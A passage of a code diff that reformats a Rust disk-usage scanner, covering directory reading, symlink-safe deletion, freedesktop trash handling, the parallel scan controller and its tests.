dirfd,
name.as_ptr(),
flags | libc::AT_STATX_DONT_SYNC,
mask,
&mut st,
)
};
if r == 0 { if r == 0 {
let mut m = Meta { let mut m = Meta {
mode: mode_from_unix(st.stx_mode as u32), mode: mode_from_unix(st.stx_mode as u32),
@@ -202,7 +215,11 @@ impl Drop for DirStream {
/// Streams the entries of a directory in chunks of up to `chunk`, stat-ing /// Streams the entries of a directory in chunks of up to `chunk`, stat-ing
/// each entry relative to the directory fd (no repeated path resolution). /// each entry relative to the directory fd (no repeated path resolution).
/// Returning an error from f stops the read and returns it. /// Returning an error from f stops the read and returns it.
pub fn read_dir<E: From<io::Error>>(path: &[u8], chunk: usize, mut f: impl FnMut(Vec<Meta>) -> Result<(), E>) -> Result<(), E> { pub fn read_dir<E: From<io::Error>>(
path: &[u8],
chunk: usize,
mut f: impl FnMut(Vec<Meta>) -> Result<(), E>,
) -> Result<(), E> {
let fd = open_dir(path)?; let fd = open_dir(path)?;
let raw = fd.as_raw_fd(); let raw = fd.as_raw_fd();
let dir = unsafe { libc::fdopendir(raw) }; let dir = unsafe { libc::fdopendir(raw) };
@@ -227,7 +244,10 @@ pub fn read_dir<E: From<io::Error>>(path: &[u8], chunk: usize, mut f: impl FnMut
if nb == b"." || nb == b".." { if nb == b"." || nb == b".." {
continue; continue;
} }
let mut m = stat_at(raw, name, libc::AT_SYMLINK_NOFOLLOW).unwrap_or_else(|e| Meta { err: Some(e), ..Default::default() }); let mut m = stat_at(raw, name, libc::AT_SYMLINK_NOFOLLOW).unwrap_or_else(|e| Meta {
err: Some(e),
..Default::default()
});
m.name = nb.to_vec(); m.name = nb.to_vec();
out.push(m); out.push(m);
if out.len() >= chunk { if out.len() >= chunk {
@@ -387,14 +407,22 @@ fn check_abs(path: &Path) -> io::Result<()> {
/// final symlink, and O_NONBLOCK keeps a FIFO swapped in since the scan from /// final symlink, and O_NONBLOCK keeps a FIFO swapped in since the scan from
/// blocking open(2) forever; callers still check the file type. /// blocking open(2) forever; callers still check the file type.
pub fn open_content(path: &Path) -> io::Result<File> { pub fn open_content(path: &Path) -> io::Result<File> {
std::fs::OpenOptions::new().read(true).custom_flags(libc::O_NOFOLLOW | libc::O_NONBLOCK).open(path) std::fs::OpenOptions::new()
.read(true)
.custom_flags(libc::O_NOFOLLOW | libc::O_NONBLOCK)
.open(path)
} }
/// Runs a helper program with an argument vector (never a shell), detached /// Runs a helper program with an argument vector (never a shell), detached
/// from the terminal so it cannot disturb the TUI. /// from the terminal so it cannot disturb the TUI.
fn start_detached(name: &str, arg: &Path) -> io::Result<()> { fn start_detached(name: &str, arg: &Path) -> io::Result<()> {
use std::process::{Command, Stdio}; use std::process::{Command, Stdio};
let mut child = Command::new(name).arg(arg).stdin(Stdio::null()).stdout(Stdio::null()).stderr(Stdio::null()).spawn()?; let mut child = Command::new(name)
.arg(arg)
.stdin(Stdio::null())
.stdout(Stdio::null())
.stderr(Stdio::null())
.spawn()?;
std::thread::spawn(move || child.wait()); std::thread::spawn(move || child.wait());
Ok(()) Ok(())
} }
@@ -406,8 +434,16 @@ pub const TRASH_NAME: &str = "trash";
pub fn reveal(path: &Path) -> io::Result<()> { pub fn reveal(path: &Path) -> io::Result<()> {
check_abs(path)?; check_abs(path)?;
let md = std::fs::symlink_metadata(path)?; let md = std::fs::symlink_metadata(path)?;
let target = if md.is_dir() { path } else { path.parent().unwrap_or(path) }; let target = if md.is_dir() {
let opener = if cfg!(target_os = "macos") { "open" } else { "xdg-open" }; path
} else {
path.parent().unwrap_or(path)
};
let opener = if cfg!(target_os = "macos") {
"open"
} else {
"xdg-open"
};
start_detached(opener, target) start_detached(opener, target)
} }
@@ -417,7 +453,8 @@ pub fn headless() -> bool {
if cfg!(target_os = "macos") { if cfg!(target_os = "macos") {
return false; return false;
} }
std::env::var_os("DISPLAY").is_none_or(|v| v.is_empty()) && std::env::var_os("WAYLAND_DISPLAY").is_none_or(|v| v.is_empty()) std::env::var_os("DISPLAY").is_none_or(|v| v.is_empty())
&& std::env::var_os("WAYLAND_DISPLAY").is_none_or(|v| v.is_empty())
} }
fn split_parent(path: &Path) -> io::Result<(&Path, &OsStr)> { fn split_parent(path: &Path) -> io::Result<(&Path, &OsStr)> {
@@ -430,7 +467,9 @@ fn split_parent(path: &Path) -> io::Result<(&Path, &OsStr)> {
fn check_expect(dirfd: RawFd, base: &CStr, want: Expect) -> io::Result<libc::stat> { fn check_expect(dirfd: RawFd, base: &CStr, want: Expect) -> io::Result<libc::stat> {
let mut st: libc::stat = unsafe { std::mem::zeroed() }; let mut st: libc::stat = unsafe { std::mem::zeroed() };
cvt(unsafe { libc::fstatat(dirfd, base.as_ptr(), &mut st, libc::AT_SYMLINK_NOFOLLOW) })?; cvt(unsafe { libc::fstatat(dirfd, base.as_ptr(), &mut st, libc::AT_SYMLINK_NOFOLLOW) })?;
if st.st_uid != want.uid || mode_from_unix(st.st_mode as u32) & mode::TYPE != want.mode & mode::TYPE { if st.st_uid != want.uid
|| mode_from_unix(st.st_mode as u32) & mode::TYPE != want.mode & mode::TYPE
{
return Err(other(CHANGED)); return Err(other(CHANGED));
} }
Ok(st) Ok(st)
@@ -446,7 +485,11 @@ pub fn delete(path: &Path, want: Expect) -> io::Result<()> {
let dfd = open_dir(dir.as_os_str().as_bytes())?; let dfd = open_dir(dir.as_os_str().as_bytes())?;
let cbase = cstr(base.as_bytes())?; let cbase = cstr(base.as_bytes())?;
let st = check_expect(dfd.as_raw_fd(), &cbase, want)?; let st = check_expect(dfd.as_raw_fd(), &cbase, want)?;
remove_at(dfd.as_raw_fd(), &cbase, st.st_mode & libc::S_IFMT == libc::S_IFDIR) remove_at(
dfd.as_raw_fd(),
&cbase,
st.st_mode & libc::S_IFMT == libc::S_IFDIR,
)
} }
fn remove_at(dirfd: RawFd, name: &CStr, is_dir: bool) -> io::Result<()> { fn remove_at(dirfd: RawFd, name: &CStr, is_dir: bool) -> io::Result<()> {
@@ -454,7 +497,11 @@ fn remove_at(dirfd: RawFd, name: &CStr, is_dir: bool) -> io::Result<()> {
return cvt(unsafe { libc::unlinkat(dirfd, name.as_ptr(), 0) }).map(|_| ()); return cvt(unsafe { libc::unlinkat(dirfd, name.as_ptr(), 0) }).map(|_| ());
} }
let fd = cvt(unsafe { let fd = cvt(unsafe {
libc::openat(dirfd, name.as_ptr(), libc::O_RDONLY | libc::O_DIRECTORY | libc::O_NOFOLLOW | libc::O_CLOEXEC) libc::openat(
dirfd,
name.as_ptr(),
libc::O_RDONLY | libc::O_DIRECTORY | libc::O_NOFOLLOW | libc::O_CLOEXEC,
)
})?; })?;
let sub = unsafe { OwnedFd::from_raw_fd(fd) }; let sub = unsafe { OwnedFd::from_raw_fd(fd) };
// Collect names first: removing while iterating a DIR stream is unspecified. // Collect names first: removing while iterating a DIR stream is unspecified.
@@ -475,7 +522,8 @@ fn remove_at(dirfd: RawFd, name: &CStr, is_dir: bool) -> io::Result<()> {
if n.to_bytes() != b"." && n.to_bytes() != b".." { if n.to_bytes() != b"." && n.to_bytes() != b".." {
let t = unsafe { (*ent).d_type }; let t = unsafe { (*ent).d_type };
let is_dir = match t { let is_dir = match t {
libc::DT_UNKNOWN => fstat_at(sub.as_raw_fd(), n, libc::AT_SYMLINK_NOFOLLOW).is_ok_and(|m| mode::is_dir(m.mode)), libc::DT_UNKNOWN => fstat_at(sub.as_raw_fd(), n, libc::AT_SYMLINK_NOFOLLOW)
.is_ok_and(|m| mode::is_dir(m.mode)),
t => t == libc::DT_DIR, t => t == libc::DT_DIR,
}; };
names.push((n.to_owned(), is_dir)); names.push((n.to_owned(), is_dir));
@@ -498,7 +546,15 @@ fn rename_checked(path: &Path, dst: &Path, want: Expect) -> io::Result<()> {
let cbase = cstr(base.as_bytes())?; let cbase = cstr(base.as_bytes())?;
check_expect(dfd.as_raw_fd(), &cbase, want)?; check_expect(dfd.as_raw_fd(), &cbase, want)?;
let cdst = cstr(dst.as_os_str().as_bytes())?; let cdst = cstr(dst.as_os_str().as_bytes())?;
cvt(unsafe { libc::renameat(dfd.as_raw_fd(), cbase.as_ptr(), libc::AT_FDCWD, cdst.as_ptr()) }).map(|_| ()) cvt(unsafe {
libc::renameat(
dfd.as_raw_fd(),
cbase.as_ptr(),
libc::AT_FDCWD,
cdst.as_ptr(),
)
})
.map(|_| ())
} }
/// Creates dir (mode 0700) if missing; an existing entry must be a real /// Creates dir (mode 0700) if missing; an existing entry must be a real
@@ -529,7 +585,9 @@ fn ensure_private_dir(dir: &Path, strict: bool) -> io::Result<()> {
fn mount_top(path: &Path, dev: u64) -> PathBuf { fn mount_top(path: &Path, dev: u64) -> PathBuf {
let mut cur = path.parent().unwrap_or(path).to_path_buf(); let mut cur = path.parent().unwrap_or(path).to_path_buf();
loop { loop {
let Some(parent) = cur.parent() else { return cur }; let Some(parent) = cur.parent() else {
return cur;
};
match std::fs::metadata(parent) { match std::fs::metadata(parent) {
Ok(m) if m.dev() == dev => cur = parent.to_path_buf(), Ok(m) if m.dev() == dev => cur = parent.to_path_buf(),
_ => return cur, _ => return cur,
@@ -553,7 +611,15 @@ fn local_timestamp() -> String {
let mut t: libc::time_t = unsafe { libc::time(std::ptr::null_mut()) }; let mut t: libc::time_t = unsafe { libc::time(std::ptr::null_mut()) };
let mut tm: libc::tm = unsafe { std::mem::zeroed() }; let mut tm: libc::tm = unsafe { std::mem::zeroed() };
unsafe { libc::localtime_r(&mut t, &mut tm) }; unsafe { libc::localtime_r(&mut t, &mut tm) };
format!("{:04}-{:02}-{:02}T{:02}:{:02}:{:02}", tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday, tm.tm_hour, tm.tm_min, tm.tm_sec) format!(
"{:04}-{:02}-{:02}T{:02}:{:02}:{:02}",
tm.tm_year + 1900,
tm.tm_mon + 1,
tm.tm_mday,
tm.tm_hour,
tm.tm_min,
tm.tm_sec
)
} }
/// Moves path to the freedesktop.org trash: the home trash when on the same /// Moves path to the freedesktop.org trash: the home trash when on the same
@@ -565,7 +631,9 @@ pub fn trash(path: &Path, want: Expect) -> io::Result<()> {
let data_home = match std::env::var_os("XDG_DATA_HOME").filter(|v| !v.is_empty()) { let data_home = match std::env::var_os("XDG_DATA_HOME").filter(|v| !v.is_empty()) {
Some(d) => PathBuf::from(d), Some(d) => PathBuf::from(d),
None => { None => {
let home = std::env::var_os("HOME").filter(|v| !v.is_empty()).ok_or_else(|| other("$HOME is not defined"))?; let home = std::env::var_os("HOME")
.filter(|v| !v.is_empty())
.ok_or_else(|| other("$HOME is not defined"))?;
PathBuf::from(home).join(".local/share") PathBuf::from(home).join(".local/share")
} }
}; };
@@ -575,21 +643,31 @@ pub fn trash(path: &Path, want: Expect) -> io::Result<()> {
_ => { _ => {
let top = mount_top(path, dev); let top = mount_top(path, dev);
let rel = path.strip_prefix(&top).map_err(|e| other(e.to_string()))?; let rel = path.strip_prefix(&top).map_err(|e| other(e.to_string()))?;
(top.join(format!(".Trash-{}", unsafe { libc::getuid() })), rel.as_os_str().as_bytes().to_vec()) (
top.join(format!(".Trash-{}", unsafe { libc::getuid() })),
rel.as_os_str().as_bytes().to_vec(),
)
} }
}; };
let shared = trash != home; let shared = trash != home;
if !shared { if !shared {
use std::os::unix::fs::DirBuilderExt; use std::os::unix::fs::DirBuilderExt;
std::fs::DirBuilder::new().recursive(true).mode(0o700).create(&trash)?; std::fs::DirBuilder::new()
.recursive(true)
.mode(0o700)
.create(&trash)?;
} else if let Err(e) = ensure_private_dir(&trash, true) { } else if let Err(e) = ensure_private_dir(&trash, true) {
// On a shared filesystem another user could plant a symlink or a // On a shared filesystem another user could plant a symlink or a
// world-writable directory here; refuse rather than follow it. // world-writable directory here; refuse rather than follow it.
return Err(other(format!("trash directory {} is unsafe: {e}", trash.display()))); return Err(other(format!(
"trash directory {} is unsafe: {e}",
trash.display()
)));
} }
let (files, info) = (trash.join("files"), trash.join("info")); let (files, info) = (trash.join("files"), trash.join("info"));
for d in [&files, &info] { for d in [&files, &info] {
ensure_private_dir(d, shared).map_err(|e| other(format!("trash directory {} is unsafe: {e}", d.display())))?; ensure_private_dir(d, shared)
.map_err(|e| other(format!("trash directory {} is unsafe: {e}", d.display())))?;
} }
let base = path.file_name().ok_or_else(|| other("no file name"))?; let base = path.file_name().ok_or_else(|| other("no file name"))?;
for i in 1..10000 { for i in 1..10000 {
@@ -604,12 +682,23 @@ pub fn trash(path: &Path, want: Expect) -> io::Result<()> {
let mut info_name = name.clone(); let mut info_name = name.clone();
info_name.push(".trashinfo"); info_name.push(".trashinfo");
let ip = info.join(info_name); let ip = info.join(info_name);
let mut f = match std::fs::OpenOptions::new().write(true).create_new(true).mode(0o600).open(&ip) { let mut f = match std::fs::OpenOptions::new()
.write(true)
.create_new(true)
.mode(0o600)
.open(&ip)
{
Ok(f) => f, Ok(f) => f,
Err(e) if e.kind() == io::ErrorKind::AlreadyExists => continue, Err(e) if e.kind() == io::ErrorKind::AlreadyExists => continue,
Err(e) => return Err(e), Err(e) => return Err(e),
}; };
let w = write!(f, "[Trash Info]\nPath={}\nDeletionDate={}\n", percent_encode_path(&info_path), local_timestamp()).and_then(|_| f.sync_all()); let w = write!(
f,
"[Trash Info]\nPath={}\nDeletionDate={}\n",
percent_encode_path(&info_path),
local_timestamp()
)
.and_then(|_| f.sync_all());
drop(f); drop(f);
if let Err(e) = w.and_then(|_| rename_checked(path, &dst, want)) { if let Err(e) = w.and_then(|_| rename_checked(path, &dst, want)) {
let _ = std::fs::remove_file(&ip); let _ = std::fs::remove_file(&ip);
@@ -638,7 +727,14 @@ mod tests {
std::fs::write(d.join("sub/inner/f"), b"x").unwrap(); std::fs::write(d.join("sub/inner/f"), b"x").unwrap();
let uid = unsafe { libc::getuid() }; let uid = unsafe { libc::getuid() };
assert!(delete(&d.join("sub"), Expect { uid, mode: 0 }).is_err()); assert!(delete(&d.join("sub"), Expect { uid, mode: 0 }).is_err());
delete(&d.join("sub"), Expect { uid, mode: mode::DIR }).unwrap(); delete(
&d.join("sub"),
Expect {
uid,
mode: mode::DIR,
},
)
.unwrap();
assert!(!d.join("sub").exists()); assert!(!d.join("sub").exists());
std::fs::remove_dir_all(&d).unwrap(); std::fs::remove_dir_all(&d).unwrap();
} }
+208 -37
View File
@@ -38,7 +38,9 @@ pub fn parse_follow(s: &str) -> Result<FollowMode, String> {
"none" | "" => Ok(FollowMode::None), "none" | "" => Ok(FollowMode::None),
"same-filesystem" | "same-fs" => Ok(FollowMode::SameFs), "same-filesystem" | "same-fs" => Ok(FollowMode::SameFs),
"all" => Ok(FollowMode::All), "all" => Ok(FollowMode::All),
_ => Err(format!("invalid --follow-symlinks {s:?} (want none, same-filesystem or all)")), _ => Err(format!(
"invalid --follow-symlinks {s:?} (want none, same-filesystem or all)"
)),
} }
} }
@@ -51,7 +53,9 @@ pub fn workers(mode: &str) -> Result<usize, String> {
"aggressive" => Ok((8 * cpu).clamp(4, 64)), "aggressive" => Ok((8 * cpu).clamp(4, 64)),
_ => match mode.trim().parse::<usize>() { _ => match mode.trim().parse::<usize>() {
Ok(n) if (1..=1024).contains(&n) => Ok(n), Ok(n) if (1..=1024).contains(&n) => Ok(n),
_ => Err(format!("invalid workers {mode:?} (conservative, balanced, aggressive or 1-1024)")), _ => Err(format!(
"invalid workers {mode:?} (conservative, balanced, aggressive or 1-1024)"
)),
}, },
} }
} }
@@ -123,7 +127,10 @@ impl Scanner {
} }
pub fn is_done(&self) -> bool { pub fn is_done(&self) -> bool {
matches!(self.done.try_recv(), Err(crossbeam_channel::TryRecvError::Disconnected)) matches!(
self.done.try_recv(),
Err(crossbeam_channel::TryRecvError::Disconnected)
)
} }
/// Blocks until the scan is done. /// Blocks until the scan is done.
@@ -235,7 +242,12 @@ pub fn start(root: &[u8], mut opts: Options, cancel: Cancel) -> io::Result<Scann
t.stats.complete = true; t.stats.complete = true;
t.stats.end = Some(SystemTime::now()); t.stats.end = Some(SystemTime::now());
drop(done_tx); drop(done_tx);
return Ok(Scanner { tree: Arc::new(RwLock::new(t)), counters, workers: opts.workers, done }); return Ok(Scanner {
tree: Arc::new(RwLock::new(t)),
counters,
workers: opts.workers,
done,
});
} }
t.stats.dirs = 1; t.stats.dirs = 1;
// Loop detection needs inode identity; without it symlinks are not // Loop detection needs inode identity; without it symlinks are not
@@ -245,7 +257,11 @@ pub fn start(root: &[u8], mut opts: Options, cancel: Cancel) -> io::Result<Scann
t.stats.follow = "none (no inode identity on this platform)".into(); t.stats.follow = "none (no inode identity on this platform)".into();
} }
let visited = (opts.follow != FollowMode::None).then(|| HashSet::from([(m.dev, m.ino)])); let visited = (opts.follow != FollowMode::None).then(|| HashSet::from([(m.dev, m.ino)]));
let path_excludes = opts.excludes.iter().map(|p| (p.contains(['/', '\\']), p.as_bytes().to_vec())).collect(); let path_excludes = opts
.excludes
.iter()
.map(|p| (p.contains(['/', '\\']), p.as_bytes().to_vec()))
.collect();
let tree = Arc::new(RwLock::new(t)); let tree = Arc::new(RwLock::new(t));
let workers = opts.workers; let workers = opts.workers;
counters.pending.store(1, Ordering::Relaxed); counters.pending.store(1, Ordering::Relaxed);
@@ -259,11 +275,18 @@ pub fn start(root: &[u8], mut opts: Options, cancel: Cancel) -> io::Result<Scann
links: HashSet::new(), links: HashSet::new(),
visited, visited,
}; };
std::thread::Builder::new().name("scan-controller".into()).spawn(move || { std::thread::Builder::new()
.name("scan-controller".into())
.spawn(move || {
guard(|| c.run(cancel)); guard(|| c.run(cancel));
drop(done_tx); drop(done_tx);
})?; })?;
Ok(Scanner { tree, counters, workers, done }) Ok(Scanner {
tree,
counters,
workers,
done,
})
} }
/// Bounds how long the controller holds the write lock, so the UI's read /// Bounds how long the controller holds the write lock, so the UI's read
@@ -290,11 +313,23 @@ fn worker(cancel: &Cancel, jobs: Receiver<Arc<Job>>, results: Sender<ScanResult>
if cancel.is_cancelled() { if cancel.is_cancelled() {
return Err(ReadErr::Cancelled); return Err(ReadErr::Cancelled);
} }
results.send(ScanResult { job: j.clone(), entries: ms, is_final: false, err: None }).map_err(|_| ReadErr::Cancelled) results
.send(ScanResult {
job: j.clone(),
entries: ms,
is_final: false,
err: None,
})
.map_err(|_| ReadErr::Cancelled)
}) })
.err() .err()
}; };
let _ = results.send(ScanResult { job: j, entries: Vec::new(), is_final: true, err }); let _ = results.send(ScanResult {
job: j,
entries: Vec::new(),
is_final: true,
err,
});
} }
} }
@@ -304,7 +339,12 @@ impl Controller {
let (res_tx, res_rx) = crossbeam_channel::bounded::<ScanResult>(self.opts.result_buf); let (res_tx, res_rx) = crossbeam_channel::bounded::<ScanResult>(self.opts.result_buf);
let mut handles = Vec::with_capacity(self.opts.workers); let mut handles = Vec::with_capacity(self.opts.workers);
for i in 0..self.opts.workers { for i in 0..self.opts.workers {
let (jobs, results, cancel, chunk) = (jobs_rx.clone(), res_tx.clone(), cancel.clone(), self.opts.chunk_size); let (jobs, results, cancel, chunk) = (
jobs_rx.clone(),
res_tx.clone(),
cancel.clone(),
self.opts.chunk_size,
);
handles.push( handles.push(
std::thread::Builder::new() std::thread::Builder::new()
.name(format!("scan-worker-{i}")) .name(format!("scan-worker-{i}"))
@@ -332,7 +372,8 @@ impl Controller {
let op = sel.select(); let op = sel.select();
let i = op.index(); let i = op.index();
if Some(i) == send_i { if Some(i) == send_i {
op.send(&jobs_tx, next.take().unwrap()).expect("workers alive"); op.send(&jobs_tx, next.take().unwrap())
.expect("workers alive");
self.head += 1; self.head += 1;
if self.head > 4096 && self.head * 2 > self.pending.len() { if self.head > 4096 && self.head * 2 > self.pending.len() {
self.pending.drain(..self.head); self.pending.drain(..self.head);
@@ -366,7 +407,9 @@ impl Controller {
next = None; next = None;
} }
self.counters.inflight.store(inflight, Ordering::Relaxed); self.counters.inflight.store(inflight, Ordering::Relaxed);
self.counters.pending.store((self.pending.len() - self.head) as i64, Ordering::Relaxed); self.counters
.pending
.store((self.pending.len() - self.head) as i64, Ordering::Relaxed);
} }
drop(jobs_tx); drop(jobs_tx);
for h in handles { for h in handles {
@@ -391,7 +434,13 @@ impl Controller {
fn make_job(&self, (id, dev): (NodeId, u64)) -> Arc<Job> { fn make_job(&self, (id, dev): (NodeId, u64)) -> Arc<Job> {
let path = self.tree.read().unwrap().path_bytes(id); let path = self.tree.read().unwrap().path_bytes(id);
let (in_cache, in_log) = inv::path_hints(&path); let (in_cache, in_log) = inv::path_hints(&path);
Arc::new(Job { id, path, dev, in_cache, in_log }) Arc::new(Job {
id,
path,
dev,
in_cache,
in_log,
})
} }
/// Merges one result into the tree. Reports whether the result completed /// Merges one result into the tree. Reports whether the result completed
@@ -399,7 +448,9 @@ impl Controller {
fn apply(&mut self, t: &mut Tree, r: ScanResult) -> bool { fn apply(&mut self, t: &mut Tree, r: ScanResult) -> bool {
let j = &*r.job; let j = &*r.job;
let mut d = Delta::default(); let mut d = Delta::default();
self.counters.entries.fetch_add(r.entries.len() as i64, Ordering::Relaxed); self.counters
.entries
.fetch_add(r.entries.len() as i64, Ordering::Relaxed);
for m in r.entries { for m in r.entries {
self.add_entry(t, j, m, &mut d); self.add_entry(t, j, m, &mut d);
} }
@@ -413,7 +464,12 @@ impl Controller {
} }
Some(ReadErr::Io(e)) => { Some(ReadErr::Io(e)) => {
dn.flags |= inv::FLAG_ERROR | inv::FLAG_INCOMPLETE; dn.flags |= inv::FLAG_ERROR | inv::FLAG_INCOMPLETE;
t.stats.add_error(ErrorRecord { node: j.id, kind: inv::classify(&e), msg: format!("open: {}", err_msg(&e)), ..Default::default() }); t.stats.add_error(ErrorRecord {
node: j.id,
kind: inv::classify(&e),
msg: format!("open: {}", err_msg(&e)),
..Default::default()
});
d.errors += 1; d.errors += 1;
} }
} }
@@ -427,7 +483,9 @@ impl Controller {
fn excluded(&self, path: &[u8], name: &[u8]) -> bool { fn excluded(&self, path: &[u8], name: &[u8]) -> bool {
self.excludes.iter().any(|(is_path, p)| { self.excludes.iter().any(|(is_path, p)| {
if *is_path { if *is_path {
path == p.as_slice() || path.starts_with(p) && path.get(p.len()) == Some(&b'/') || platform::glob_match(p, path) path == p.as_slice()
|| path.starts_with(p) && path.get(p.len()) == Some(&b'/')
|| platform::glob_match(p, path)
} else { } else {
platform::glob_match(p, name) platform::glob_match(p, name)
} }
@@ -438,7 +496,12 @@ impl Controller {
if let Some(e) = &m.err { if let Some(e) = &m.err {
let k = inv::classify(e); let k = inv::classify(e);
if k == inv::ErrKind::Vanished { if k == inv::ErrKind::Vanished {
t.stats.add_error(ErrorRecord { node: j.id, name: m.name, kind: k, msg: "vanished between listing and stat".into() }); t.stats.add_error(ErrorRecord {
node: j.id,
name: m.name,
kind: k,
msg: "vanished between listing and stat".into(),
});
d.errors += 1; d.errors += 1;
return; return;
} }
@@ -446,7 +509,12 @@ impl Controller {
let n = t.node_mut(id); let n = t.node_mut(id);
n.flags |= inv::FLAG_ERROR; n.flags |= inv::FLAG_ERROR;
n.errors = 1; n.errors = 1;
t.stats.add_error(ErrorRecord { node: id, kind: k, msg: format!("stat: {}", err_msg(e)), ..Default::default() }); t.stats.add_error(ErrorRecord {
node: id,
kind: k,
msg: format!("stat: {}", err_msg(e)),
..Default::default()
});
d.errors += 1; d.errors += 1;
d.files += 1; d.files += 1;
t.stats.others += 1; t.stats.others += 1;
@@ -472,7 +540,12 @@ impl Controller {
t.stats.broken_links += 1; t.stats.broken_links += 1;
broken = true; broken = true;
} }
Ok(tm) if platform::mode::is_dir(tm.mode) && tm.has_ino && (self.opts.follow == FollowMode::All || self.opts.follow == FollowMode::SameFs && tm.dev == j.dev) => { Ok(tm)
if platform::mode::is_dir(tm.mode)
&& tm.has_ino
&& (self.opts.follow == FollowMode::All
|| self.opts.follow == FollowMode::SameFs && tm.dev == j.dev) =>
{
target = Some(tm); target = Some(tm);
kind = Kind::Dir; kind = Kind::Dir;
} }
@@ -596,7 +669,11 @@ pub(crate) mod tests {
impl TempDir { impl TempDir {
pub fn new(tag: &str) -> TempDir { pub fn new(tag: &str) -> TempDir {
static N: AtomicI64 = AtomicI64::new(0); static N: AtomicI64 = AtomicI64::new(0);
let p = std::env::temp_dir().join(format!("mapsize-{tag}-{}-{}", std::process::id(), N.fetch_add(1, Ordering::Relaxed))); let p = std::env::temp_dir().join(format!(
"mapsize-{tag}-{}-{}",
std::process::id(),
N.fetch_add(1, Ordering::Relaxed)
));
std::fs::create_dir_all(&p).unwrap(); std::fs::create_dir_all(&p).unwrap();
TempDir(p) TempDir(p)
} }
@@ -609,7 +686,14 @@ pub(crate) mod tests {
/// Creates a fan-out tree: (files, dirs, bytes). /// Creates a fan-out tree: (files, dirs, bytes).
pub fn mk_tree(dir: &Path, fanout: usize, depth: usize, files: usize) -> (i64, i64, i64) { pub fn mk_tree(dir: &Path, fanout: usize, depth: usize, files: usize) -> (i64, i64, i64) {
fn rec(dir: &Path, d: usize, fanout: usize, depth: usize, files: usize, acc: &mut (i64, i64, i64)) { fn rec(
dir: &Path,
d: usize,
fanout: usize,
depth: usize,
files: usize,
acc: &mut (i64, i64, i64),
) {
for i in 0..files { for i in 0..files {
let sz = (i + 1) * 100; let sz = (i + 1) * 100;
std::fs::write(dir.join(format!("f{i}.txt")), vec![0u8; sz]).unwrap(); std::fs::write(dir.join(format!("f{i}.txt")), vec![0u8; sz]).unwrap();
@@ -633,23 +717,38 @@ pub(crate) mod tests {
pub fn run_scan(root: &Path, o: Options) -> Tree { pub fn run_scan(root: &Path, o: Options) -> Tree {
let s = start(root.as_os_str().as_bytes(), o, Cancel::new()).unwrap(); let s = start(root.as_os_str().as_bytes(), o, Cancel::new()).unwrap();
s.done().recv_timeout(std::time::Duration::from_secs(60)).expect_err("scan did not finish (deadlock?)"); s.done()
.recv_timeout(std::time::Duration::from_secs(60))
.expect_err("scan did not finish (deadlock?)");
let t = s.tree.read().unwrap().clone(); let t = s.tree.read().unwrap().clone();
t t
} }
fn totals(t: &Tree) -> Vec<[i64; 4]> { fn totals(t: &Tree) -> Vec<[i64; 4]> {
(0..t.len() as NodeId).map(|i| t.node(i)).map(|n| [n.tot_size, n.tot_alloc, n.files as i64, n.dirs as i64]).collect() (0..t.len() as NodeId)
.map(|i| t.node(i))
.map(|n| [n.tot_size, n.tot_alloc, n.files as i64, n.dirs as i64])
.collect()
} }
#[test] #[test]
fn counts_and_aggregates() { fn counts_and_aggregates() {
let root = TempDir::new("scan"); let root = TempDir::new("scan");
let (nf, nd, bytes) = mk_tree(&root.0, 3, 3, 4); let (nf, nd, bytes) = mk_tree(&root.0, 3, 3, 4);
let mut t = run_scan(&root.0, Options { workers: 4, ..Default::default() }); let mut t = run_scan(
&root.0,
Options {
workers: 4,
..Default::default()
},
);
let r = t.node(0); let r = t.node(0);
assert_eq!((r.files as i64, r.dirs as i64), (nf, nd)); assert_eq!((r.files as i64, r.dirs as i64), (nf, nd));
let dir_bytes: i64 = (0..t.len() as NodeId).map(|i| t.node(i)).filter(|n| n.is_dir()).map(|n| n.size).sum(); let dir_bytes: i64 = (0..t.len() as NodeId)
.map(|i| t.node(i))
.filter(|n| n.is_dir())
.map(|n| n.size)
.sum();
assert_eq!(r.tot_size, bytes + dir_bytes); assert_eq!(r.tot_size, bytes + dir_bytes);
assert!(t.stats.complete && !t.stats.incomplete()); assert!(t.stats.complete && !t.stats.incomplete());
for i in 0..t.len() as NodeId { for i in 0..t.len() as NodeId {
@@ -661,7 +760,11 @@ pub(crate) mod tests {
} }
let before = totals(&t); let before = totals(&t);
t.recompute(); t.recompute();
assert_eq!(before, totals(&t), "incremental aggregates differ from recompute"); assert_eq!(
before,
totals(&t),
"incremental aggregates differ from recompute"
);
} }
#[test] #[test]
@@ -669,8 +772,22 @@ pub(crate) mod tests {
let root = TempDir::new("bp"); let root = TempDir::new("bp");
let (nf, nd, _) = mk_tree(&root.0, 6, 4, 3); let (nf, nd, _) = mk_tree(&root.0, 6, 4, 3);
for w in [1, 2, 16] { for w in [1, 2, 16] {
let t = run_scan(&root.0, Options { workers: w, job_buffer: 1, result_buf: 1, chunk_size: 1, apply_batch: 1, ..Default::default() }); let t = run_scan(
assert_eq!((t.node(0).files as i64, t.node(0).dirs as i64), (nf, nd), "workers={w}"); &root.0,
Options {
workers: w,
job_buffer: 1,
result_buf: 1,
chunk_size: 1,
apply_batch: 1,
..Default::default()
},
);
assert_eq!(
(t.node(0).files as i64, t.node(0).dirs as i64),
(nf, nd),
"workers={w}"
);
} }
} }
@@ -679,9 +796,22 @@ pub(crate) mod tests {
let root = TempDir::new("cancel"); let root = TempDir::new("cancel");
mk_tree(&root.0, 8, 3, 2); mk_tree(&root.0, 8, 3, 2);
let c = Cancel::new(); let c = Cancel::new();
let s = start(root.0.as_os_str().as_bytes(), Options { workers: 2, job_buffer: 1, result_buf: 1, chunk_size: 1, ..Default::default() }, c.clone()).unwrap(); let s = start(
root.0.as_os_str().as_bytes(),
Options {
workers: 2,
job_buffer: 1,
result_buf: 1,
chunk_size: 1,
..Default::default()
},
c.clone(),
)
.unwrap();
c.cancel(); c.cancel();
s.done().recv_timeout(std::time::Duration::from_secs(10)).expect_err("cancel did not stop scan"); s.done()
.recv_timeout(std::time::Duration::from_secs(10))
.expect_err("cancel did not stop scan");
let t = s.tree.read().unwrap(); let t = s.tree.read().unwrap();
assert!(t.stats.cancelled && t.stats.incomplete()); assert!(t.stats.cancelled && t.stats.incomplete());
} }
@@ -696,12 +826,21 @@ pub(crate) mod tests {
std::os::unix::fs::symlink("../a", a.join("self")).unwrap(); std::os::unix::fs::symlink("../a", a.join("self")).unwrap();
std::os::unix::fs::symlink("nowhere", root.0.join("broken")).unwrap(); std::os::unix::fs::symlink("nowhere", root.0.join("broken")).unwrap();
